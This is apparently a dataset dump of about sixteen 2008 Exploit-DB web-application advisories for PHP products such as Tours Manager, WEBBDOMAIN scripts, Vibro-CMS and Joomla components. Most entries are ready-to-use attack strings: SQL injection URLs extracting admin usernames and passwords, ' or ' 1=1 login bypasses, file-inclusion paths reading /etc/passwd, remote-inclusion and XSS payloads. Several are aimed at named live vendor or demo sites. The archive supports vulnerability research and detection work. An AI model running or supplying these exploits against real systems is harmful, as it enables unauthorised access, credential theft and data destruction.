QLWD/code_shield huggingface dataset:
标题: Tours Manager 1.0 - SQL Injection EDB-ID: 6988 CVE: 2008-6289 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-04 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
        IN THE NAME OF ALLAH
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Tours Manager v1 (cityview.php cityid) SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[~] Script:          Tours Manager v1
[~] Language :          PHP
[~] Website:       http://www.toursmanager.com
[~] Type :              Commercial
[~] Report-Date :      04/11/2008


--[ Founder ]--
G4N0K <mail.ganok[at]gmail.com>


--[ Exploit ]--
[+] http://localhost/[path]/cityview.php?cityid=-5+UNION+ALL+SELECT+1,2,3,concat(user(),0x3a,version()),5--



--[ L!ve ]--
[+] http://www.toursmanager.com/demo/cityview.php?cityid=-5+UNION+ALL+SELECT+1,2,3,concat(user(),0x3a,version()),5--



--[ Greetz ]--
[~] ALLAH
[~] Tornado2800 <Tornado2800[at]gmail.com>
[~] Hussain-X <darkangel_g85[at]yahoo.com>

//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
//ALLAH, forgimme...

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
exit(); //EoX
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2008-11-04] URL: https://www.exploit-db.com/exploits/6988
标题: WEBBDOMAIN Webshop 1.02 - Authentication Bypass EDB-ID: 6986 CVE: 2008-6627 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-04 漏洞利用脚本: ###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/
        /____/       EgY Coders Vulnerability Research TM                                    

# [~] Discovered by : Hakxer
# [~] Type Gap : WEBBDOMAIN Webshop Auth Bypass All Version
# [~] Script :http://webbdomain.com/php/webshopir/~~All Version ~~
# [~] Greetz : Allah
##########################################################################

|| Auth Bypass ||

http://webbdomain.com/php/webshopir/admin V1.2
http://webbdomain.com/php/webshop/admin V 1.1

Username : admin ' or ' 1=1
password : Hakxer

Logged In ...

#  Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-04] URL: https://www.exploit-db.com/exploits/6986
标题: Simple Document Management System 1.1.4 - Authentication Bypass EDB-ID: 6987 CVE: 2008-6236 2008-6220 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-04 漏洞利用脚本: SDMS Simple Document Management System v1.1.4 SQL Injection
___________________________________________________________________________

 Author: Yuri


 Program: SDMS Simple Document Management System
 Version: v1.1.4 (and probably all older versions as well)
 Website: http://sdms.cafuego.net/


How it works
___________________________________________________________________________
The login system is very insecure, this is the code we are going to abuse:

 $result = @mysql_query("SELECT pass != PASSWORD('$pass') FROM users WHERE user='$login'");

 $row = @mysql_fetch_array($result);

 if( $row[0] != 0 ) {

  header("Location: index.php");

  exit;

 }

 $result = @mysql_query("SELECT id,name FROM users WHERE user='$login'");
 $row = @mysql_fetch_array($result);

 $id = $row[id];

 $name = $row[name];

If the result of the first query is 0, it selects the id and name from the
user entered at the login page. There is no filter on $pass.

So if we enter 
 user: Admin (case insensitive)
 password: ') FROM users WHERE id=-1 UNION SELECT 0 FROM users --

The resulting query looks like this:

 SELECT pass != PASSWORD('') FROM users WHERE id=-1 UNION SELECT 0 FROM users --') FROM users WHERE user='$login'

which is always 0, so voila, admin access.

___________________________________________________________________________

      Yuri // 04 - 11 - 2008

# milw0rm.com [2008-11-04] URL: https://www.exploit-db.com/exploits/6987
标题: phpBB Mod Small ShoutBox 1.4 - Remote Edit/Delete Messages EDB-ID: 6995 CVE: 2008-6301 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-05 漏洞利用脚本: /*
    --------------------------------------------------------------
    phpBB Mod Small ShoutBox 1.4 Remote Edit/Delete Messages Vuln
    --------------------------------------------------------------
    Discovered By StAkeR[at]hotmail[dot]it
    Download On http://www.phpbbhacks.com/load.php?id=1595
    NOTE:  Works Regardless PHP.ini Settings!
    Thanks darkjoker
    --------------------------------------------------------------
    
    File (shoutbox_view.php)
    
    
    50. $id = ( isset($HTTP_GET_VARS['id']) ) ? $HTTP_GET_VARS['id'] : $HTTP_POST_VARS['id'];
    
    
    
    168. if ( $mode == "delete" && $adel )
    169. {
    170.   $sql = "DELETE FROM " . SHOUTBOX_TABLE . "
    171.   WHERE id = $id $del_mod";
    172. if( !($result = $db->sql_query($sql)) )
    173. { message_die(GENERAL_ERROR, 'Could not delete shoutbox message', '', __LINE__, __FILE__, $sql); }
    174.
    
    
    - Delete All Messages
    - shoutbox_view.php?mode=delete&id=-1 or 1=1/*
    
    - Edit Message / Post Message
    - shoutbox_view.php?mode=edit&id=-1 or 1=1/*&name_id=1 or 1=1/*&date_edit=1225915829&name_edit=[NICKNAME]&clean_msg=[MESSAGE]
    
    
    - Blind SQL Injection
    - phpBB2/shoutbox_view.php?mode=delete&id=[Query]
   
*/   

# milw0rm.com [2008-11-05] URL: https://www.exploit-db.com/exploits/6995
标题: Joomla! Component ongumatimesheet20 4b - Remote File Inclusion EDB-ID: 6976 CVE: 2008-6347 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-04 漏洞利用脚本: =======================================================================================================================================


  [o] com_ongumatimesheet20 4 Beta Remote File Inclusion Vulnerability

       Software : com_ongumatimesheet20 version 4 Beta
       Download : http://joomlacode.org/gf/project/ongumasa/frs/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com [promosi :p]


=======================================================================================================================================


  [o] Vulnerable file

       administrator/components/com_ongumatimesheet20/lib/onguma.class.php

        include_once($mosConfig_absolute_path.'/includes/patTemplate/patError.php');
        include_once($mosConfig_absolute_path.'/includes/patTemplate/patErrorManager.php');
        include_once($mosConfig_absolute_path.'/includes/patTemplate/patTemplate.php');



  [o] Exploit

       http://localhost/[path]/administrator/components/com_ongumatimesheet20/lib/onguma.class.php?mosConfig_absolute_path=[evilcode]


=======================================================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/blog/]
       Vrs-hCk OoN_BoY Paman
       H312Y yooogy mousekill }^-^{ kaka11  martfella
       skulmatic olibekas ulga Cungkee k1tk4t str0ke

        
=======================================================================================================================================

# milw0rm.com [2008-11-04] URL: https://www.exploit-db.com/exploits/6976
标题: WEBBDOMAIN Polls 1.01 - Authentication Bypass EDB-ID: 6984 CVE: 2008-6625 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-04 漏洞利用脚本: ###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/
        /____/       EgY Coders Vulnerability Research TM                                    

# [~] Discovered by : Hakxer
# [~] Type Gap : WEBBDOMAIN Poll Auth Bypass
# [~] Script :http://webbdomain.com/php/poll/poll.php
# [~] Greetz : Allah
##########################################################################

|| Auth Bypass ||

http://webbdomain.com/php/poll/admin

Username : admin ' or ' 1=1
password : Hakxer

Logged In ...

#  Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-04] URL: https://www.exploit-db.com/exploits/6984
标题: WEBBDOMAIN Petition 1.02/2.0/3.0 - Authentication Bypass EDB-ID: 6983 CVE: 2008-6624 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-04 漏洞利用脚本: ###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/
        /____/       EgY Coders Vulnerability Research TM                                    

# [~] Discovered by : Hakxer
# [~] Type Gap : WEBBDOMAIN Petition Auth Bypass
# [~] Script :http://webbdomain.com/php/petition/petition.php
# [~] Greetz : Allah
##########################################################################

|| Auth Bypass ||

http://webbdomain.com/php/petition/admin/

Username : admin ' or ' 1=1
password : Hakxer

Logged In ...

#  Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-04] URL: https://www.exploit-db.com/exploits/6983
标题: TBmnetCMS 1.0 - Local File Inclusion EDB-ID: 6973 CVE: 2008-6271 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-04 漏洞利用脚本: [~]-------------------------------------------------------------------------------------------------------------
[~] TBmnetCMS v1.0 (index.php?content) Local File Inclusion Vulnerability
[~]
[~] http://www.tbmnet.de
[~]  
[~] 
[~] ------------------------------------------------------------------------------------------------------------
[~] Bug founded by d3v1l [Avram Marius]
[~]
[~] Date: 3.11.2008
[~]
[~]
[~] d3v1l@spoofer.com http://security-sh3ll.com
[~]
[~] ------------------------------------------------------------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] milw0rm staff
[~]-------------------------------------------------------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/index.php?content=../../../../../../../../../../../../../../etc/passwd%00
[~]  
[~] Ex :-

[~] http://www.valtellinux.it/meeting/index.php?content=../../../../../../../../../../../../../../etc/passwd%00
[~]----------------------------------------------------------------------------------------------------------------------
[~] NEED:- magic_quotes=OFF
[~]
[~] NEED:- disable_functions=ini_set 
[~]----------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-11-04] URL: https://www.exploit-db.com/exploits/6973
标题: WEBBDOMAIN WebShop 1.02 - SQL Injection / Cross-Site Scripting EDB-ID: 6974 CVE: 2008-6629 2008-6628 2008-6268 2008-6267 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-04 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                               IN THE NAME OF ALLAH
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Multi Languages WebShop Online (name:XSS|id:SQLi) Multiple Remote Vulnerabilities
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[~] Script:          Multi Languages WebShop Online
[~] Language :          PHP
[~] Website[0]:      http://webbdomain.com/php/webshopir/
[~] Website[1]:      http://www.hotscripts.com/Detailed/84437.html
[~] Type :              Commercial
[~] Report-Date :      04/11/2008


--[ Founder ]--
G4N0K <mail.ganok[at]gmail.com>


--[ Exploit ]--
SQL => id
[+] http://localhost/[path]/detail.php?image=u0646ur0xm.gif&name=g4n0k&price=20&id=-13'+UNION+ALL+SELECT+1,2,3,4,5,6,user(),8,9,10,11--
    http://webbdomain.com/php/webshopir/detail.php?image=u0646ur0xm.gif&name=g4n0k&price=20&id=-13' UNION ALL SELECT 1,2,3,4,5,6,concat(username,0x3a,password),8,9,10,11+FROM+admin--+AND+'GNK'='GNK

XSS => name
[+][0] http://localhost/[path]/detail.php?image=u0646ur0xm.gif&name=[XSS]&price=20&id=13
[+][1] http://localhost/[path]/detail.php?image=u0646ur0xm.gif&name=[XSS]



--[ L!ve ]--
[SQL] http://webbdomain.com/php/webshopir/detail.php?image=u0646ur0xm.gif&name=g4n0k&price=20&id=-13'+UNION+ALL+SELECT+1,2,3,4,5,6,user(),8,9,10,11--
      http://webbdomain.com/php/webshopir/detail.php?image=u0646ur0xm.gif&name=g4n0k&price=20&id=-13' UNION ALL SELECT 1,2,3,4,5,6,concat(username,0x3a,password),8,9,10,11+FROM+admin--+AND+'GNK'='GNK
[XSS] http://webbdomain.com/php/webshopir/detail.php?image=u0646ur0xm.gif&name=g4n0k%22%3E%3Cscript%3Ealert(%27G4N0K%27)%3C/script%3E&price=20&id=13
[XSS] http://webbdomain.com/php/webshopir/detail.php?image=u0646ur0xm.gif&name=g4n0k%22%3E%3Cscript%3Ealert(%27G4N0K%27)%3C/script%3E


--[ Greetz ]--
[~] ALLAH
[~] Tornado2800 <Tornado2800[at]gmail.com>
[~] Hussain-X <darkangel_g85[at]yahoo.com>

//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
//ALLAH, forgimme...

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
exit(); //EoX
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2008-11-04] URL: https://www.exploit-db.com/exploits/6974
标题: nicLOR Puglia Landscape - Local File Inclusion EDB-ID: 6979 CVE: 2007-6586 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-04 漏洞利用脚本: /*
   ---------------------------------------------------
   Puglia_Landscape Local File Inclusion Vulnerability
   ---------------------------------------------------
   Discovered By StAkeR[at]hotmail[dot]it
   http://www.niclor.net/prodotti/Puglia_Landscape
   ---------------------------------------------------
   
   * Local File Inclusion
   * Note: Magic_Quotes_GPC Off
   
   - index.php?id=../../../../../../../[Local File and NullByte]
   - index.php?id=../../../../../../../etc/passwd%00
   
   * Demo
   - http://www.niclor.net/prodotti/Puglia_Landscape/index.php?id=../../../../../../../etc/passwd%00
 
   

*/

# milw0rm.com [2008-11-04] URL: https://www.exploit-db.com/exploits/6979
标题: pppBlog 0.3.11 - File Disclosure EDB-ID: 6972 CVE: 2006-2770 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-03 漏洞利用脚本: # pppBlog <= 0.3.11 (randompic.php) System File Disclosure Vulnerability
# url: http://sourceforge.net/projects/pppblog/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# In memory of rgod ;)

*Requeriments: register_globals = On

vulnerable code in randompic.php at lines 66-72:
...
header("Content-Type: image/gif");
header("Content-Transfer-Encoding: binary");
if (is_array($files)){
    if (is_file($files[$randnum])){
 readfile("$dir/$files[$randnum]");
    }
}
...

poc[0] = randompic.php?files[0]=[file]
poc[1] = randompic.php?files[0]=../../../../../../../../../../etc/passwd

linked: http://milw0rm.com/exploits/1853 (pppBlog 0.3.8, thanks rgod).

tested on localhost with register_globals = On.

Hack0wn :D

# milw0rm.com [2008-11-03] URL: https://www.exploit-db.com/exploits/6972
标题: WEBBDOMAIN Post Card 1.02 - 'catid' SQL Injection EDB-ID: 6977 CVE: 2008-6622 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-04 漏洞利用脚本: post Card ( catid )  Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

MaiL : darkangeL_G85@Yahoo.CoM
___________________________________

script    : http://webbdomain.com/php/postcarden/index2.php
script    : http://webbdomain.com/php/postcardir/index2.php

DorK   : inurl:choosecard.php?catid=
_____

ExploiT & Demo
_______

post Card  v 1.01

http://webbdomain.com/php/postcarden/choosecard.php?catid=-1002+union+select+concat(username,0x3a,password),2,3+from+admin--


post Card  v 1.02
http://webbdomain.com/php/postcardir/choosecard.php?catid=-1002+union+select+concat(username,0x3a,password),2,3+from+admin--


Note : Exploit in Properties  Picture


Login :
______
/admin




Greetz : All my freind

 
  Im IraQi        |         Im TrYaGi

# milw0rm.com [2008-11-04] URL: https://www.exploit-db.com/exploits/6977
标题: Apoll 0.7b - Authentication Bypass EDB-ID: 6969 CVE: 2008-6272 2008-6270 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-03 漏洞利用脚本: [~] Apoll version Remote Auth Bypass Vulnerability
[~]
[~] version: beta 0.7
[~]
[~] script dwonload: http://www.miticdjd.com/download/3/
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 03.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] 
[~] N0T: a.q kpss yuzden nete ara verebilirim : (
[~]
[~] -----------------------------------------------------------

admin login:

http://localhost/apoll/admin/index.php


Exploit:

username: [real_admin_or_user_name] ' or ' 1=1

password: dont write anything

note: generally admin name: admin 


example for my localhost:

admin: zorlu

user: salla



username: zorlu ' or ' 1=1

password: empty

or Ã½ added user salla and apply take to true result ( salla is not admin but you login admin panel : ) )

username: salla ' or ' 1=1

password: empty 


file: 

apoll/admin/index.php

code:

$user = $_SESSION['user'];
$pass = $_SESSION['pass'];

$mysql = @mysql_query("SELECT * FROM ap_users WHERE username='$user' AND password='$pass'");
 $num = @mysql_num_rows($mysql);




[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-03] URL: https://www.exploit-db.com/exploits/6969
标题: MatPo Link 1.2b - Blind SQL Injection / Cross-Site Scripting EDB-ID: 6971 CVE: 2008-6607 2008-6606 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-03 漏洞利用脚本: ###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___ 
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/ 
        /____/       EgY Coders Vulnerability Research TM                                    

# [~] Discovered by : Hakxer
# [~] Type Gap : Blind Sql inj / XSS
# [~] Script :MatPo Link 1.2b
# [~] Greetz : Allah , Egyptian x hacker , Br1ght D@rk 
##########################################################################

|| Blind Sql Inj ||
 POC: http://hilfe-forum.pytalhost.de/linkliste/view.php?id=12+[BSQL]
  Exploit :
  http://hilfe-forum.pytalhost.de/linkliste/view.php?id=12+and+1=0 False
  http://hilfe-forum.pytalhost.de/linkliste/view.php?id=12+and+1=0 True 
  
  http://hilfe-forum.pytalhost.de/linkliste/view.php?id=12+and+substring(@@version,1,1)=5 True
  http://hilfe-forum.pytalhost.de/linkliste/view.php?id=12+and+substring(@@version,1,1)=4 False
  
|| Cross Site Scripting ||
Poc:
http://hilfe-forum.pytalhost.de/linkliste/view.php?id=12&thema=[XSS]
Exploit
http://hilfe-forum.pytalhost.de/linkliste/view.php?id=12&thema=

#  Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-03] URL: https://www.exploit-db.com/exploits/6971
标题: Joomla! Component VirtueMart Google Base 1.1 - Remote File Inclusion EDB-ID: 6975 CVE: 2008-6483 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-04 漏洞利用脚本: ================================================================================================================================


[o] VirtueMart Google Base Component 1.1 Remote File Inclusion Vulnerability

       Software : com_googlebase version 1.1
       Vendor   : www.e-commerce-solution.co.uk
       Download : http://www.joomlahacks.com/   [free download]
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


================================================================================================================================


  [o] Vulnerable file

       administrator/components/com_googlebase/admin.googlebase.php

        include( $mosConfig_absolute_path.'/administrator/components/com_virtuemart/virtuemart.cfg.php' );



  [o] Exploit

       http://localhost/[path]/administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=[evilcode]


================================================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/blog/]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11  martfella
       skulmatic olibekas ulga Cungkee k1tk4t str0ke

        
================================================================================================================================

# milw0rm.com [2008-11-04] URL: https://www.exploit-db.com/exploits/6975
标题: Vibro-CMS - Multiple SQL Injections EDB-ID: 6978 CVE: 2008-6795 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-04 漏洞利用脚本: /*
   -------------------------------------------------------
   Vibro-CMS Multiple Remote SQL Injection Vulnerabilities
   -------------------------------------------------------
   Discovered By StAkeR[at]hotmail[dot]it
   http://www.niclor.net/prodotti/Vibro-CMS
   -------------------------------------------------------

   * Remote SQL Injection
   * Note: Works Regardless PHP.ini Settings
   
   - view_pagina.php?pId=1 union select null,concat_ws(0x3a,user(),version(),database()),null/*
   - view_sub-pagina.php?pId=1 union select 0,concat(database(),0x3a,user()),version(),3/*
   - view_news.php?nID=4 union select 0,0,user(),1,2,3,4,database(),6,7,8,version(),0/*
   
   * Demo
   
   - http://www.niclor.net/prodotti/Vibro-CMS/view_pagina.php?pId=1 union select 0,concat_ws(0x3a,user(),version(),database()),0/*
   - http://www.niclor.net/prodotti/Vibro-CMS/ view_sub-pagina.php?pId=1 union select 0,concat(database(),0x3a,user()),version(),3/*
   - http://www.niclor.net/prodotti/Vibro-CMS/view_news.php?nID=4 union select 0,0,user(),1,2,3,4,database(),6,7,8,version(),0/*
   
   

*/

# milw0rm.com [2008-11-04] URL: https://www.exploit-db.com/exploits/6978